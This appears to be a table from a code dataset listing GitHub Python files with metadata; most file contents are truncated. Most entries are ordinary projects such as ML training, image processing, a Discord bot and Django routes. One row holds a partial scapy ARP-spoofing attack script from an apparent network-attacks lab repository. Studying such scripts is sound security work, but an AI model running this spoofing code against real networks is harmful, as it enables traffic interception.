seq_id string | text string | repo_name string | sub_path string | file_name string | file_ext string | file_size_in_byte int64 | program_lang string | lang string | doc_type string | stars int64 | dataset string | pt string | api list |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
31838419123 | import numpy as np
try:
import cPickle as pickle
except:
import pickle
from dataset.mnist import load_mnist
from SGD.TwoLayerNet import TwoLayerNet
(x_train, t_train), (x_test, t_test) = load_mnist\
(normalize=False,flatten=True,one_hot_label=True)
train_loss = []
'''超参数'''
iters_num = 1000
train_size = x_... | maplect/CNN-APP | SGD/Neuralnet_train.py | Neuralnet_train.py | py | 1,093 | python | en | code | 2 | github-code | 6 | [
{
"api_name": "dataset.mnist.load_mnist",
"line_number": 9,
"usage_type": "call"
},
{
"api_name": "SGD.TwoLayerNet.TwoLayerNet",
"line_number": 18,
"usage_type": "call"
},
{
"api_name": "numpy.random.choice",
"line_number": 21,
"usage_type": "call"
},
{
"api_name"... |
35227507194 | # -*- coding: utf-8 -*-
"""
Created on Sat Feb 18 01:16:56 2017
@author: Leon
"""
from osgeo import gdal
import matplotlib.pyplot as plt
import numpy as np
import pandas as pd
from scipy import spatial
import cv2
im = cv2.imread('fill.jpg')
ntu = cv2.imread('DSCF2098_1471837627895.jpg')
imgray = cv2.cvtColor(im,cv2.C... | LeonChen66/UAV-and-TrueOrtho | Building Roof Contour/RDP.py | RDP.py | py | 1,318 | python | en | code | 8 | github-code | 6 | [
{
"api_name": "cv2.imread",
"line_number": 14,
"usage_type": "call"
},
{
"api_name": "cv2.imread",
"line_number": 15,
"usage_type": "call"
},
{
"api_name": "cv2.cvtColor",
"line_number": 16,
"usage_type": "call"
},
{
"api_name": "cv2.COLOR_BGR2GRAY",
"line_num... |
31449582311 | import sys
import time
from multiprocessing import Process
from scapy.all import *
def arp_spoof(victim_ip, bystander_ip, attacker_mac):
try:
while True:
send(ARP(op=2, pdst=victim_ip, psrc=bystander_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=attacker_mac), verbose=0)
send(ARP(op=2, pdst=... | emrberk/network-attacks | attacker/attacker.py | attacker.py | py | 1,369 | python | en | code | 0 | github-code | 6 | [
{
"api_name": "time.sleep",
"line_number": 11,
"usage_type": "call"
},
{
"api_name": "sys.exit",
"line_number": 13,
"usage_type": "call"
},
{
"api_name": "multiprocessing.Process",
"line_number": 30,
"usage_type": "call"
},
{
"api_name": "multiprocessing.Process",... |
12229413948 | import torch
import torchvision
import PIL
import torch.nn.functional as F
import numpy
from matplotlib import cm
#CAM
def hook_store_A(module, input, output):
module.A = output[0]
def hook_store_dydA(module, grad_input, grad_output):
module.dydA = grad_output[0]
if __name__ == "__main__":
mod... | pengxj/DeepLearningCourse | code/VisInput.py | VisInput.py | py | 1,281 | python | en | code | 9 | github-code | 6 | [
{
"api_name": "torchvision.models.vgg19",
"line_number": 14,
"usage_type": "call"
},
{
"api_name": "torchvision.models",
"line_number": 14,
"usage_type": "attribute"
},
{
"api_name": "torchvision.transforms.ToTensor",
"line_number": 16,
"usage_type": "call"
},
{
"... |
43001373047 | __author__ = "Vikram Anand"
__email__ = "vikram.anand@carenostics.com"
__license__ = "Apache 2.0"
__maintainer__ = "developer"
__status__ = "Production"
__version__ = "0.0.1"
import os
import logging
from google.cloud import bigquery, storage
logger = logging.getLogger('BigQuery')
class BigQuery:
"""Class Bigquer... | RiptideStar/DataStack-main | hmhn/scripts/old-postgress/python-scripts/metrics/carenostics/big_query.py | big_query.py | py | 814 | python | en | code | 0 | github-code | 6 | [
{
"api_name": "logging.getLogger",
"line_number": 12,
"usage_type": "call"
},
{
"api_name": "google.cloud.bigquery.Client",
"line_number": 24,
"usage_type": "call"
},
{
"api_name": "google.cloud.bigquery",
"line_number": 24,
"usage_type": "name"
}
] |
23935769471 | import numpy as np
import scipy.sparse as sp
import tensorflow as tf
import gc
import random
from clac_metric import cv_model_evaluate
from utils import *
from model import GCNModel
from opt import Optimizer
def PredictScore(train_drug_dis_matrix, drug_matrix, dis_matrix, seed, epochs, emb_dim, dp, lr, adjdp):
n... | storyandwine/LAGCN | code/main.py | main.py | py | 5,019 | python | en | code | 45 | github-code | 6 | [
{
"api_name": "numpy.random.seed",
"line_number": 13,
"usage_type": "call"
},
{
"api_name": "numpy.random",
"line_number": 13,
"usage_type": "attribute"
},
{
"api_name": "tensorflow.reset_default_graph",
"line_number": 14,
"usage_type": "call"
},
{
"api_name": "te... |
17221793090 | import json
import aiohttp
import discord
import datetime
from discord import Embed
import plotly.express as px
import pandas as pd
import random
with open("config.json", "r") as config:
data = json.load(config)
token = data["Token"]
prefix = data["Prefix"]
intents = discord.Intents.default()
inten... | Eryck13/StockBot | main.py | main.py | py | 8,237 | python | en | code | 0 | github-code | 6 | [
{
"api_name": "json.load",
"line_number": 11,
"usage_type": "call"
},
{
"api_name": "discord.Intents.default",
"line_number": 14,
"usage_type": "call"
},
{
"api_name": "discord.Intents",
"line_number": 14,
"usage_type": "attribute"
},
{
"api_name": "discord.Client... |
27356830765 | import random
import os
from helpers import *
from keras.models import model_from_json
# load json and create model
json_file = open('saved_models/model.json', 'r')
loaded_model_json = json_file.read()
json_file.close()
model = model_from_json(loaded_model_json)
# load weights into new model
model.load_weights("saved... | pekkipo/Characters_recognition | predict_characters.py | predict_characters.py | py | 1,793 | python | en | code | 1 | github-code | 6 | [
{
"api_name": "keras.models.model_from_json",
"line_number": 11,
"usage_type": "call"
}
] |
16119657095 | __author__ = 'burgosz'
from django import template
register = template.Library()
from zabbix_reports.templatetags.zabbix_call import zbx_call
from django.core.cache import cache
@register.assignment_tag
def zbx_service_container_get():
services = []
return services
# Iterate over services and get the service... | burgosz/zabbix_reports | templatetags/zabbix_services.py | zabbix_services.py | py | 1,574 | python | en | code | 5 | github-code | 6 | [
{
"api_name": "django.template.Library",
"line_number": 3,
"usage_type": "call"
},
{
"api_name": "django.template",
"line_number": 3,
"usage_type": "name"
},
{
"api_name": "zabbix_reports.templatetags.zabbix_call.zbx_call",
"line_number": 17,
"usage_type": "call"
},
{... |
35473650215 | from tensorflow.keras.models import load_model
from delta import calculate_gt
from loss import detection_loss, ssd_loss
import numpy as np
import pickle
from nms import non_maximum_suppression
from utils import images_with_rectangles, plot_images, xywh2xyxy, draw_rectangles
# load models
model = load_model('../models/... | taila0/single-shot-multibox-detector | src/main_eval.py | main_eval.py | py | 3,001 | python | en | code | 0 | github-code | 6 | [
{
"api_name": "tensorflow.keras.models.load_model",
"line_number": 10,
"usage_type": "call"
},
{
"api_name": "loss.ssd_loss",
"line_number": 10,
"usage_type": "name"
},
{
"api_name": "numpy.load",
"line_number": 13,
"usage_type": "call"
},
{
"api_name": "numpy.loa... |
73871407226 | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Mon Apr 27 20:09:14 2020
@author: scro3517
"""
import torch
import torch.nn as nn
import torch.nn.functional as F
c1 = 1 #b/c single time-series
c2 = 4 #4
c3 = 16 #4
c4 = 32 #4
k=7 #kernel size
s=3 #stride
#num_classes = 3
class cnn_network_time(nn.Modu... | danikiyasseh/SoQal | prepare_network.py | prepare_network.py | py | 3,891 | python | en | code | 4 | github-code | 6 | [
{
"api_name": "torch.nn.Module",
"line_number": 20,
"usage_type": "attribute"
},
{
"api_name": "torch.nn",
"line_number": 20,
"usage_type": "name"
},
{
"api_name": "torch.nn.Conv1d",
"line_number": 35,
"usage_type": "call"
},
{
"api_name": "torch.nn",
"line_nu... |
40786176947 | import pandas as file
import matplotlib.pyplot as plt
import numpy as np
from sklearn.cluster import KMeans
from sklearn import cluster, datasets, metrics
#分群 K-means
model = KMeans(n_clusters = 16)
data = file.read_csv("./data.csv")
data.drop(['id'],axis=1)
predict = model.fit(data).labels_
ans = []
for row in predi... | kiper00/DataMining | Hw2/Hw.py | Hw.py | py | 694 | python | en | code | 0 | github-code | 6 | [
{
"api_name": "sklearn.cluster.KMeans",
"line_number": 8,
"usage_type": "call"
},
{
"api_name": "pandas.read_csv",
"line_number": 9,
"usage_type": "call"
},
{
"api_name": "pandas.read_csv",
"line_number": 17,
"usage_type": "call"
}
] |
777182916 | import datetime
import numpy as np
import torch
def get_gravity_constants(gravity_constant_name):
if gravity_constant_name == 'wgs-72old':
mu = 398600.79964 # in km3 / s2
radiusearthkm = 6378.135 # km
xke = 0.0743669161
tumin = 1.0 / xke
j2 = 0.001... | esa/dSGP4 | dsgp4/util.py | util.py | py | 14,817 | python | en | code | 1 | github-code | 6 | [
{
"api_name": "numpy.sqrt",
"line_number": 18,
"usage_type": "call"
},
{
"api_name": "numpy.sqrt",
"line_number": 27,
"usage_type": "call"
},
{
"api_name": "torch.tensor",
"line_number": 36,
"usage_type": "call"
},
{
"api_name": "sgp4init.sgp4init",
"line_numb... |
8257193173 | import logging
from typing import Mapping
from datetime import datetime
import attr
from .dixel import Dixel
from ..utils import Pattern, DatetimeInterval, gateway
from ..utils.dicom import DicomLevel
# splunk-sdk is 2.7 only, so diana.utils.gateway provides a minimal query/put replacement
# Suppress insecure warning... | derekmerck/DIANA | packages/diana/diana/apis/splunk.py | splunk.py | py | 3,138 | python | en | code | 11 | github-code | 6 | [
{
"api_name": "urllib3.disable_warnings",
"line_number": 13,
"usage_type": "call"
},
{
"api_name": "urllib3.exceptions",
"line_number": 13,
"usage_type": "attribute"
},
{
"api_name": "utils.Pattern",
"line_number": 16,
"usage_type": "name"
},
{
"api_name": "attr.i... |
27055792799 | """empty message
Revision ID: 22771e69d10c
Revises: 8c7cbf0f76c6
Create Date: 2021-07-14 18:46:48.994109
"""
import sqlalchemy as sa
from alembic import op
# revision identifiers, used by Alembic.
revision = "22771e69d10c"
down_revision = "8c7cbf0f76c6"
branch_labels = None
depends_on = None
def upgrade():
op.... | CodeForPoznan/codeforpoznan.pl_v3 | backend/migrations/versions/22771e69d10c_.py | 22771e69d10c_.py | py | 2,028 | python | en | code | 8 | github-code | 6 | [
{
"api_name": "alembic.op.drop_constraint",
"line_number": 19,
"usage_type": "call"
},
{
"api_name": "alembic.op",
"line_number": 19,
"usage_type": "name"
},
{
"api_name": "alembic.op.alter_column",
"line_number": 20,
"usage_type": "call"
},
{
"api_name": "alembic... |
26126736743 | #!/usr/bin/env python
# -*- coding: utf-8 -*-
"""The setup script."""
# Imports
import io
from setuptools import setup, find_packages
# Readme file
with io.open('README.rst', encoding='utf-8') as readme_file:
readme = readme_file.read()
# ChangeLog file
with io.open('HISTORY.rst', encoding='utf-8') as history_fil... | paip-web/pwbs | setup.py | setup.py | py | 4,954 | python | en | code | 2 | github-code | 6 | [
{
"api_name": "io.open",
"line_number": 10,
"usage_type": "call"
},
{
"api_name": "io.open",
"line_number": 13,
"usage_type": "call"
},
{
"api_name": "setuptools.setup",
"line_number": 32,
"usage_type": "call"
},
{
"api_name": "setuptools.find_packages",
"line... |
42519865803 | # The radical of n, rad(n), is the product of distinct prime factors of n. For
# example, 504 = 2^3 x 3^2 x 7, so rad(504) = 2 x 3 x 7 = 42.
#
# We shall define the triplet of positive integers (a, b, c) to be an abc-hit if:
# GCD(a, b) = GCD(a, c) = GCD(b, c) = 1
# a < b
# a + b = c
# rad(abc) < c
# For exam... | jose-ramirez/project_euler | problems/p127.py | p127.py | py | 2,025 | python | en | code | 0 | github-code | 6 | [
{
"api_name": "euler.utils.Utils",
"line_number": 23,
"usage_type": "call"
},
{
"api_name": "fractions.gcd",
"line_number": 26,
"usage_type": "call"
}
] |
9414662626 | import socket ##required
import argparse ##gets argument from command line
import sys ##system calls
import re ## parsing string
BUFF_SIZE = 4096
TIMEOUT_SIZE = 2
neededInfo = { #contains everything that i need in my log
'url':None,
'sName':None,
'sIp':None,
'sPort':None,
'Path':... | kelly8282/python-stuff | kliu80MyCurl_2_1.py | kliu80MyCurl_2_1.py | py | 6,029 | python | en | code | 0 | github-code | 6 | [
{
"api_name": "argparse.ArgumentParser",
"line_number": 21,
"usage_type": "call"
},
{
"api_name": "re.search",
"line_number": 29,
"usage_type": "call"
},
{
"api_name": "re.search",
"line_number": 33,
"usage_type": "call"
},
{
"api_name": "re.findall",
"line_nu... |
42514144175 | import math
import nltk
nltk.download('stopwords')
import pandas as pd
import re
from copy import deepcopy
from dictionary.models import Dialect
from nltk.corpus import stopwords
from nltk.tokenize import word_tokenize
from django.shortcuts import render, redirect
class NaiveBayes:
def split_reg(self, *args):
sent... | eymkarla/thesisrepo | classifier/NB.py | NB.py | py | 4,535 | python | en | code | 0 | github-code | 6 | [
{
"api_name": "nltk.download",
"line_number": 3,
"usage_type": "call"
},
{
"api_name": "re.split",
"line_number": 17,
"usage_type": "call"
},
{
"api_name": "nltk.corpus.stopwords.words",
"line_number": 22,
"usage_type": "call"
},
{
"api_name": "nltk.corpus.stopwor... |
72000467069 | from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import builtins
import gc
import os
import time
import numpy as np
import torch
from trident.backend.common import *
from trident.backend.opencv_backend import image2array
from trident.backend.pytorch_backend... | AllanYiin/trident | trident/models/pytorch_mtcnn.py | pytorch_mtcnn.py | py | 28,973 | python | en | code | 74 | github-code | 6 | [
{
"api_name": "trident.backend.pytorch_backend.get_device",
"line_number": 29,
"usage_type": "call"
},
{
"api_name": "os.path.join",
"line_number": 33,
"usage_type": "call"
},
{
"api_name": "os.path",
"line_number": 33,
"usage_type": "attribute"
},
{
"api_name": "... |
30358044871 | import wx
from traitsui.wx.check_list_editor import CustomEditor
from traitsui.testing.tester.command import MouseClick
from traitsui.testing.tester.locator import Index
from traitsui.testing.tester._ui_tester_registry._common_ui_targets import (
BaseSourceWithLocation,
)
from traitsui.testing.tester._ui_tester_re... | enthought/traitsui | traitsui/testing/tester/_ui_tester_registry/wx/_traitsui/check_list_editor.py | check_list_editor.py | py | 2,444 | python | en | code | 290 | github-code | 6 | [
{
"api_name": "traitsui.testing.tester._ui_tester_registry._common_ui_targets.BaseSourceWithLocation",
"line_number": 15,
"usage_type": "name"
},
{
"api_name": "traitsui.wx.check_list_editor.CustomEditor",
"line_number": 18,
"usage_type": "name"
},
{
"api_name": "traitsui.testing... |
23934349151 | from pymongo import MongoClient
import pprint
import statistics
client = MongoClient('mongodb://localhost:27017/')
db = client.fantasypros
def find():
players = db.playersbywk.distinct("name")
for player in players:
getstats(player)
def getstats(player):
points = []
player_position = ''
... | soboy2/pyrandom | fbstats.py | fbstats.py | py | 1,583 | python | en | code | 0 | github-code | 6 | [
{
"api_name": "pymongo.MongoClient",
"line_number": 5,
"usage_type": "call"
},
{
"api_name": "statistics.mean",
"line_number": 34,
"usage_type": "call"
},
{
"api_name": "statistics.mean",
"line_number": 35,
"usage_type": "call"
},
{
"api_name": "statistics.stdev",... |
12769514952 | import cv2
from cv2 import waitKey
import torch
import urllib.request
import os
import matplotlib.pyplot as plt
print(torch.__version__)
os.environ["KMP_DUPLICATE_LIB_OK"] = "TRUE"
# url, filename = ("https://github.com/pytorch/hub/raw/master/images/dog.jpg", "dog.jpg")
# urllib.request.urlretrieve(url, filename)
m... | JohnLee16/InfraredImage2Depth | src/midas_depth.py | midas_depth.py | py | 1,628 | python | en | code | 0 | github-code | 6 | [
{
"api_name": "torch.__version__",
"line_number": 8,
"usage_type": "attribute"
},
{
"api_name": "os.environ",
"line_number": 9,
"usage_type": "attribute"
},
{
"api_name": "torch.hub.load",
"line_number": 17,
"usage_type": "call"
},
{
"api_name": "torch.hub",
"... |
2856076738 | import re, unittest
from conans.model.settings import Settings
from conans.model.conan_file import ConanFile
from conans.client.generators.cmake import CMakeGenerator
class CMakeGeneratorTest(unittest.TestCase):
def extractMacro(self, name, text):
pattern = ".*(macro\(%s\).*?endmacro\(\)).*" % name
... | AversivePlusPlus/AversivePlusPlus | tools/conan/conans/test/generators/cmake_test.py | cmake_test.py | py | 1,364 | python | en | code | 31 | github-code | 6 | [
{
"api_name": "unittest.TestCase",
"line_number": 7,
"usage_type": "attribute"
},
{
"api_name": "re.sub",
"line_number": 11,
"usage_type": "call"
},
{
"api_name": "re.DOTALL",
"line_number": 11,
"usage_type": "attribute"
},
{
"api_name": "conans.model.conan_file.C... |
39184026326 | # ----------------------------------------------------------------------
# |
# | Setup_custom.py
# |
# | David Brownell <db@DavidBrownell.com>
# | 2022-10-14 12:37:50
# |
# ----------------------------------------------------------------------
# |
# | Copyright David Brownell 2022
# | Distributed und... | davidbrownell/v4-Common_LLVM | Setup_custom.py | Setup_custom.py | py | 15,433 | python | en | code | 0 | github-code | 6 | [
{
"api_name": "sys.modules",
"line_number": 49,
"usage_type": "attribute"
},
{
"api_name": "typing.Dict",
"line_number": 60,
"usage_type": "name"
},
{
"api_name": "RepositoryBootstrap.Configuration.Configuration",
"line_number": 60,
"usage_type": "attribute"
},
{
... |
42117272334 | from django.conf.urls import url
from django.contrib import admin
from users import views as usersViews
from bookmark import views as bookmarkViews
urlpatterns = [
url(r'^login', usersViews.login),
url(r'^logout', usersViews.logout),
url(r'^register', usersViews.register),
url(r'^bookmark/$', bookmarkV... | jlneto15/bookmark | web/app/urls.py | urls.py | py | 589 | python | en | code | 0 | github-code | 6 | [
{
"api_name": "django.conf.urls.url",
"line_number": 7,
"usage_type": "call"
},
{
"api_name": "users.views.login",
"line_number": 7,
"usage_type": "attribute"
},
{
"api_name": "users.views",
"line_number": 7,
"usage_type": "name"
},
{
"api_name": "django.conf.urls... |
4558179615 | import subprocess
from sanic import Sanic, response
# import os
app = Sanic(__name__)
app.ctx.restarting = False
@app.route("/")
async def test(_):
return response.html(open("index.html", encoding='utf-8').read())
def is_github_request(request):
# check if the request is from github, with the api key, the ... | sooswastaken/continuous-integration | server.py | server.py | py | 994 | python | en | code | 0 | github-code | 6 | [
{
"api_name": "sanic.Sanic",
"line_number": 5,
"usage_type": "call"
},
{
"api_name": "sanic.response.html",
"line_number": 11,
"usage_type": "call"
},
{
"api_name": "sanic.response",
"line_number": 11,
"usage_type": "name"
},
{
"api_name": "sanic.response.text",
... |
20869059181 | import numpy as np
import matplotlib.pyplot as plt
from mpl_toolkits.mplot3d import Axes3D
import matplotlib.cm as cm
import matplotlib
import random
vida=[]
defesa=[]
ataque=[]
#Spearador de Dados
def separador_atributos(arquivo):
vida_max=0
vida_min=18
def_max=0
def_min=18
atk_... | Edumarek123/Machine_Learning | graficos/graficos_dispersao.py | graficos_dispersao.py | py | 4,235 | python | pt | code | 0 | github-code | 6 | [
{
"api_name": "numpy.random.randint",
"line_number": 72,
"usage_type": "call"
},
{
"api_name": "numpy.random",
"line_number": 72,
"usage_type": "attribute"
},
{
"api_name": "numpy.random.randint",
"line_number": 74,
"usage_type": "call"
},
{
"api_name": "numpy.ran... |
71133520507 | from Logic.Crud import *
from Logic.Operatii import *
import datetime
def arata_meniu():
'''
:return: optiunile din meniu
'''
print("1.Adaugare cheltuiala")
print("2.Stergere cheltuiala")
print("3.Modificare cheltuiala")
print("4.Stergerea cheltuielilor pentru un nr de apartament")
pr... | AP-MI-2021/lab-567-Pop-Sergiu-Adrian | lab5/Ui/Interfata.py | Interfata.py | py | 5,122 | python | es | code | 0 | github-code | 6 | [
{
"api_name": "datetime.date",
"line_number": 30,
"usage_type": "call"
}
] |
6433666492 | import logging
import requests
import elasticsearch
import datetime
import os
import re
from .config import set_defaults
from jinja2 import Template
class ElasticTMDB(object):
def load_config(self):
set_defaults(self)
# Set HTTP headers for TMDB requests
self.headers = {}
self.head... | shaunschembri/ElasticTMDB | elastictmdb/__init__.py | __init__.py | py | 27,602 | python | en | code | 4 | github-code | 6 | [
{
"api_name": "config.set_defaults",
"line_number": 12,
"usage_type": "call"
},
{
"api_name": "logging.getLogger",
"line_number": 20,
"usage_type": "call"
},
{
"api_name": "logging.WARNING",
"line_number": 20,
"usage_type": "attribute"
},
{
"api_name": "logging.ge... |
659465820 |
import numpy as np
from tqdm import tqdm
from statistics import median
class Filter :
"""
To add :
- Filtre de Frost, Filtre de Gamma_MAP, Kuan
- Autoencoder filtering ?
"""
#class specialized for filtering SAR images formated as (height, len, (HH,HV,VV))
def __init__(self... | ArnaudMi/Statistical-Learning-Methods-Contribution-for-the-description-of-SAR-targets | code/utils/filtre.py | filtre.py | py | 4,147 | python | en | code | 0 | github-code | 6 | [
{
"api_name": "numpy.ndarray",
"line_number": 17,
"usage_type": "attribute"
},
{
"api_name": "numpy.zeros_like",
"line_number": 25,
"usage_type": "call"
},
{
"api_name": "numpy.zeros",
"line_number": 29,
"usage_type": "call"
},
{
"api_name": "numpy.complex128",
... |
3806456362 | import pickle, custom_logger
from cmd_parser import parser, createModelString, performSortingString
from asyncio.log import logger
from os.path import isfile
from logging import INFO, DEBUG, WARN
import utils
import logging
args = parser.parse_args()
if args.debug:
custom_logger.initialize_logger(logger_level=DE... | jmvaswani/picture-sorter | sorter.py | sorter.py | py | 3,435 | python | en | code | 0 | github-code | 6 | [
{
"api_name": "cmd_parser.parser.parse_args",
"line_number": 10,
"usage_type": "call"
},
{
"api_name": "cmd_parser.parser",
"line_number": 10,
"usage_type": "name"
},
{
"api_name": "custom_logger.initialize_logger",
"line_number": 13,
"usage_type": "call"
},
{
"ap... |
22713126804 | import os
import sys
from os import listdir
from PIL import Image
import mysql.connector as database
#Environment variables / default values
DB_HOST = os.getenv('DB_HOST','localhost')
DB_USER = os.getenv('DB_USER','root')
DB_PASSWORT = os.getenv('DB_PASSWORT','secret')
FILE_PATH = os.getenv('FILE_PATH','files')
pathar... | AnSieger/find_corrupt_media_files | checkimages.py | checkimages.py | py | 2,239 | python | en | code | 0 | github-code | 6 | [
{
"api_name": "os.getenv",
"line_number": 8,
"usage_type": "call"
},
{
"api_name": "os.getenv",
"line_number": 9,
"usage_type": "call"
},
{
"api_name": "os.getenv",
"line_number": 10,
"usage_type": "call"
},
{
"api_name": "os.getenv",
"line_number": 11,
"u... |
22189104094 | import numpy as np
import cv2 as cv
capture = cv.VideoCapture(0)
lastNorm = 0.0
lastCounter = 0
counter = 0
currentState = 0
onList = []
offList = []
onDuration = 0
offDuration = 0
if not capture.isOpened():
print("Cannot open camera")
exit()
while True:
# Capture frame-by-frame
ret, frame = captu... | musaceylan/handy_codes | on_off_detector.py | on_off_detector.py | py | 1,577 | python | en | code | 0 | github-code | 6 | [
{
"api_name": "cv2.VideoCapture",
"line_number": 4,
"usage_type": "call"
},
{
"api_name": "cv2.cvtColor",
"line_number": 25,
"usage_type": "call"
},
{
"api_name": "cv2.COLOR_BGR2GRAY",
"line_number": 25,
"usage_type": "attribute"
},
{
"api_name": "cv2.cvtColor",
... |
18245658241 | import pandas as pd
import dataprofiler as dp
import numpy as np
from pymongo import MongoClient
try:
conn = MongoClient()
except:
print("Could not connct to Mongo DB")
db = conn.database
collection = db.my_gfg_collection
data = {
"calories": [420,380, 390,390, 80, 350],
"duration": [50,45,40... | arbecker620/DataQuality | DataQuality.py | DataQuality.py | py | 1,082 | python | en | code | 2 | github-code | 6 | [
{
"api_name": "pymongo.MongoClient",
"line_number": 11,
"usage_type": "call"
},
{
"api_name": "numpy.nan",
"line_number": 23,
"usage_type": "attribute"
},
{
"api_name": "pandas.DataFrame",
"line_number": 27,
"usage_type": "call"
},
{
"api_name": "dataprofiler.Prof... |
12731828005 | #Visualizing data with Matplotlib
#Matplotlib config
#import matplotlib as mpl
#mpl.rcParams['lines.linewidth'] = 2
#mpl.rcParams['lines.color'] = 'r'
#plt.rcParams['figure.figsize'] = (8,4)
#plt.gcf().set_size_inches(8,4)
#example 1
import numpy as np
import pandas as pd
from datetime import date
import matplotlib.py... | ndlopez/learn_python | source/plot_test.py | plot_test.py | py | 1,965 | python | en | code | 0 | github-code | 6 | [
{
"api_name": "datetime.date.today",
"line_number": 15,
"usage_type": "call"
},
{
"api_name": "datetime.date",
"line_number": 15,
"usage_type": "name"
},
{
"api_name": "pandas.period_range",
"line_number": 16,
"usage_type": "call"
},
{
"api_name": "numpy.random.ra... |
7924878639 | from tools import adaptive, parse
import numpy as np
from imutils import resize
import matplotlib
import matplotlib.pyplot as plt
import cv2 as cv
import argparse
matplotlib.use('TKAgg')
PATH = "images/adaptive/{}"
function_map = {
'mean': adaptive.threshold_mean,
'median': adaptive.threshold_median
}
parser ... | YvesAugusto/project_vc | adaptive.py | adaptive.py | py | 1,682 | python | en | code | 0 | github-code | 6 | [
{
"api_name": "matplotlib.use",
"line_number": 9,
"usage_type": "call"
},
{
"api_name": "tools.adaptive.threshold_mean",
"line_number": 13,
"usage_type": "attribute"
},
{
"api_name": "tools.adaptive",
"line_number": 13,
"usage_type": "name"
},
{
"api_name": "tools... |
17891204899 | from typing import List
from game.GameState import GameState, Move
from policy.Policy import EstimatingPolicy
from policy.exceptions import *
import random
import numpy.random
import torch
import torch.cuda
class ModelBasedPolicy(EstimatingPolicy):
def __init__(self, model, feature_extractor, h, w, exploration=... | nkorobkov/virus-game | policy/ModelBasedPolicy.py | ModelBasedPolicy.py | py | 2,183 | python | en | code | 1 | github-code | 6 | [
{
"api_name": "policy.Policy.EstimatingPolicy",
"line_number": 12,
"usage_type": "name"
},
{
"api_name": "game.GameState.GameState",
"line_number": 23,
"usage_type": "name"
},
{
"api_name": "torch.no_grad",
"line_number": 25,
"usage_type": "call"
},
{
"api_name": ... |
18231210208 | import pandas as pd
from astropy.coordinates import SkyCoord
from astropy import units as u
import glob
import concurrent.futures
# Read in catalog data
catalog = pd.read_csv('observations.txt', delimiter=' ')
master_catalog = pd.read_csv('master_catalog_jan_2023.csv', delimiter=',')
print(master_catalog)
pr... | WilliamOrringe/Indentifying-Candidate-Star-Clusters-in-M31 | multi.py | multi.py | py | 2,519 | python | en | code | 0 | github-code | 6 | [
{
"api_name": "pandas.read_csv",
"line_number": 8,
"usage_type": "call"
},
{
"api_name": "pandas.read_csv",
"line_number": 9,
"usage_type": "call"
},
{
"api_name": "glob.glob",
"line_number": 23,
"usage_type": "call"
},
{
"api_name": "pandas.read_csv",
"line_n... |
71648693307 | #!/usr/bin/env python3
import asyncio
import socket
from keyword import kwlist
from typing import Tuple as tuple
MAX_KEYWORD_LEN = 4 # <1>
async def probe(domain: str) -> tuple[str, bool]: # <2>
loop = asyncio.get_running_loop() # <3>
try:
await loop.getaddrinfo(domain, None) # <4>
except soc... | yangguang8112/fluentPy | new_chapter18/21-async/domains/asyncio/blogdom.py | blogdom.py | py | 1,205 | python | en | code | 0 | github-code | 6 | [
{
"api_name": "asyncio.get_running_loop",
"line_number": 11,
"usage_type": "call"
},
{
"api_name": "socket.gaierror",
"line_number": 14,
"usage_type": "attribute"
},
{
"api_name": "typing.Tuple",
"line_number": 10,
"usage_type": "name"
},
{
"api_name": "keyword.kw... |
38931021069 | from typing import Callable
from PySide2.QtWidgets import QListWidget, QAbstractItemView, QAction, QPushButton, QListWidgetItem, QGridLayout
from PySide2.QtCore import QSize, QThread, Signal, Slot, Qt
import damaker
from damaker.pipeline import *
import damaker_gui
import damaker_gui.widgets as widgets
class Pipelin... | subski/DAMAKER | damaker_gui/widgets/PipelineWidget.py | PipelineWidget.py | py | 3,049 | python | en | code | 0 | github-code | 6 | [
{
"api_name": "PySide2.QtWidgets.QListWidget",
"line_number": 11,
"usage_type": "name"
},
{
"api_name": "damaker_gui.widgets.ITabWidget",
"line_number": 11,
"usage_type": "attribute"
},
{
"api_name": "damaker_gui.widgets",
"line_number": 11,
"usage_type": "name"
},
{
... |
1140042349 | import compcore
from joblib import Parallel, delayed
import multiprocessing
import numpy as np
import scipy as sp
import h5py
import sys, csv, re, os, time, argparse, string, tempfile
try:
import lsalib
except ImportError:
from lsa import lsalib
def main():
parser = argparse.ArgumentParser()
arg_precision_... | foolstars/a_elsa | elsa/lsa/ppi.py | ppi.py | py | 14,310 | python | en | code | 0 | github-code | 6 | [
{
"api_name": "argparse.ArgumentParser",
"line_number": 14,
"usage_type": "call"
},
{
"api_name": "argparse.FileType",
"line_number": 18,
"usage_type": "call"
},
{
"api_name": "argparse.FileType",
"line_number": 26,
"usage_type": "call"
},
{
"api_name": "argparse.... |
34357687621 | import argparse, subprocess, socket, json, io, os, notify2
verbose = False
def get_metadata_id_from(meta): # meta is a user/application definable metapackage
data = call_application(meta) # application meta will create a timestamp entry of the relavent metadata, and then pass back the id number to log in the data... | Tadashi-Hikari/Sapphire-Assistant-Framework-Python | assistant/selflib.py | selflib.py | py | 4,305 | python | en | code | 1 | github-code | 6 | [
{
"api_name": "notify2.init",
"line_number": 11,
"usage_type": "call"
},
{
"api_name": "notify2.Notification",
"line_number": 12,
"usage_type": "call"
},
{
"api_name": "os.getenv",
"line_number": 20,
"usage_type": "call"
},
{
"api_name": "os.getenv",
"line_num... |
19432133852 | import sqlite3
import os
lat = list()
with open('latitude.dat', 'r') as lats:
lat = lats.read().split('\n')
with open('longitude.dat', 'r') as lons:
lon = lons.read().split('\n')
with open('dates.dat', 'r') as dates:
tmp = [i[1:-1] for i in dates.read().split('\n')]
base = os.path.abspath(os.path.join('... | juliansibaja84/GPStracking | lib/data_parser.py | data_parser.py | py | 784 | python | en | code | 1 | github-code | 6 | [
{
"api_name": "os.path.abspath",
"line_number": 14,
"usage_type": "call"
},
{
"api_name": "os.path",
"line_number": 14,
"usage_type": "attribute"
},
{
"api_name": "os.path.join",
"line_number": 14,
"usage_type": "call"
},
{
"api_name": "os.pardir",
"line_numbe... |
22290767213 | # -*- coding: utf-8 -*-
import streamlit as st
from st_aggrid import AgGrid
import pandas as pd
import pymysql
from sqlalchemy import create_engine
engine = create_engine('mysql+pymysql://root:chiangcw@localhost/python?charset=utf8')
uploaded_file = st.file_uploader("请选择要上传的csv格式表格!")
if uploaded_file is not None:
df1... | chiangcw0410/mysql_test | test/test.py | test.py | py | 904 | python | en | code | 0 | github-code | 6 | [
{
"api_name": "sqlalchemy.create_engine",
"line_number": 7,
"usage_type": "call"
},
{
"api_name": "streamlit.file_uploader",
